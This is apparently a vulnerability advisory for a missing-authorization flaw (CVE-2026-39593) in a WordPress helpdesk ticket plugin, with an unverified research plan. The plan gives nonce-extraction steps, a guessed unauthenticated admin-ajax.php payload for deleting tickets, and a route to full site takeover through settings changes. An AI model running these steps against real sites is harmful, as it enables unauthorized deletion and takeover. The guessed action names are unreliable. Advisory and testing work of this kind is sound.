CVE-2026-39593

HAPPY – Helpdesk Support Ticket System <= 1.0.10 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.0.11
Patched in
6d
Time to patch

Description

The HAPPY – Helpdesk Support Ticket System plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.0.10. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0.10
PublishedApril 16, 2026
Last updatedApril 21, 2026

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

This research plan outlines the steps to identify and exploit a missing authorization vulnerability (CVE-2026-39593) in the **HAPPY – Helpdesk Support Ticket System** plugin. ### 1. Vulnerability Summary The vulnerability is a **Missing Authorization** flaw in versions up to 1.0.10. It occurs becau…

Show full research plan

This research plan outlines the steps to identify and exploit a missing authorization vulnerability (CVE-2026-39593) in the HAPPY – Helpdesk Support Ticket System plugin.

1. Vulnerability Summary

The vulnerability is a Missing Authorization flaw in versions up to 1.0.10. It occurs because a sensitive function is registered via the wp_ajax_nopriv_ hook (allowing unauthenticated access) or the wp_ajax_ hook (allowing any logged-in user access) without an accompanying current_user_can() check. This allows unauthenticated attackers to perform actions that should be restricted to administrators or ticket owners, such as modifying ticket statuses, deleting tickets, or altering plugin settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: Likely related to ticket management (e.g., happy_delete_ticket, happy_update_status, or happy_save_reply). (inferred)
  • Method: HTTP POST
  • Parameters: action, nonce, and specific IDs (e.g., ticket_id, id).
  • Authentication: None required (unauthenticated).

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in its main class or an AJAX handler class (likely includes/class-happy-ajax.php or similar).
  2. Hook Registration: Look for lines like:
    add_action( 'wp_ajax_nopriv_HAPPY_ACTION', array( $this, 'HAPPY_FUNCTION' ) );
  3. Vulnerable Function: The HAPPY_FUNCTION will perform a database update or post deletion.
  4. The Flaw: The function checks for a nonce (preventing CSRF) but fails to check current_user_can( 'manage_options' ) or verify that the user owns the ticket being modified.

4. Nonce Acquisition Strategy

If the vulnerable endpoint requires a nonce, follow these steps to retrieve it:

  1. Identify the Shortcode: Search for shortcode registrations to find where the plugin's frontend UI is rendered.
    • grep -rn "add_shortcode" . (Look for names like [happy_ticket_form] or [happy_support_ticket]).
  2. Create a Trigger Page:
    • wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[SHORTCODE_FOUND]'
  3. Find the Localized Variable: Search for the script localization code to find the JS variable name.
    • grep -rn "wp_localize_script" .
    • Identify the object name (e.g., happy_vars, happy_ajax_obj) and the nonce key (e.g., nonce, ajax_nonce). (inferred)
  4. Extract via Browser:
    • Navigate to the page: browser_navigate("http://localhost:8080/support")
    • Extract: browser_eval("window.happy_vars?.nonce") (Replace with actual variable/key found).

5. Test Data Setup

Before exploitation, we need a ticket to target.

  1. Identify Ticket Post Type:
    • grep -rn "register_post_type" . (Likely happy_ticket). (inferred)
  2. Create a Victim Ticket:
    • wp post create --post_type=happy_ticket --post_title="Help Me" --post_status=publish --post_content="Target ticket for deletion."
  3. Note the ID: Store the ID of the created post (e.g., 123).

6. Exploitation Strategy

We will attempt to perform a restricted action (e.g., deleting a ticket) unauthenticated.

  1. Discovery Phase:
    • Grep for wp_ajax_nopriv_ to identify unauthenticated actions.
    • Search those functions for wp_delete_post or $wpdb->update.
  2. Execution Phase (Example: Ticket Deletion):
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Payload:
      action=happy_delete_ticket&ticket_id=123&nonce=EXTRACTED_NONCE
      
      (Adjust parameter names based on discovery).

7. Expected Results

  • Success: The server returns a success response (e.g., {"success":true} or 1).
  • Impact: The ticket with ID 123 is moved to the trash or permanently deleted from the database.
  • Response Code: 200 OK.

8. Verification Steps

  1. Check Post Existence:
    • wp post list --post_type=happy_ticket --post_status=any
    • Confirm ID 123 is missing or status is trash.
  2. Check Database Directly (if needed):
    • wp db query "SELECT post_status FROM wp_posts WHERE ID = 123;"

9. Alternative Approaches

If ticket deletion is not the vulnerable action, check for:

  • Status Modification: action=happy_update_status&ticket_id=123&status=closed.
  • Unauthorized Reply: action=happy_save_reply&ticket_id=123&message=AttackerReply.
  • Settings Update: Search for any wp_ajax_nopriv_ that calls update_option. If an unauthenticated user can change users_can_register or default_role, escalate to full site takeover.

Discovery Commands for the Agent:

# 1. Find all unauthenticated AJAX actions
grep -r "wp_ajax_nopriv_" .

# 2. Trace the function for one of the actions (e.g., 'happy_delete_ticket')
grep -r "function happy_delete_ticket" .

# 3. Check for authorization and nonce verification in that function
# Look for current_user_can and check_ajax_referer

# 4. Find where nonces are localized to the frontend
grep -r "wp_localize_script" .
Research Findings
Static analysis — not yet PoC-verified

Summary

The HAPPY – Helpdesk Support Ticket System plugin for WordPress is vulnerable to unauthorized action execution due to missing capability checks in its AJAX handlers in versions up to 1.0.10. This flaw allows unauthenticated attackers to perform administrative or owner-level actions, such as deleting support tickets or modifying their status.

Exploit Outline

1. Identify the target AJAX action (e.g., happy_delete_ticket or happy_update_status) and the target ticket ID. 2. Obtain a valid AJAX nonce by visiting a public-facing page where the plugin's support shortcode is active and inspecting the localized JavaScript variables (e.g., happy_vars.nonce). 3. Send an unauthenticated HTTP POST request to /wp-admin/admin-ajax.php. 4. Provide the 'action', 'nonce', and the target 'ticket_id' in the POST body. 5. The server executes the sensitive function because it lacks a current_user_can() check to verify the requester's authorization.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.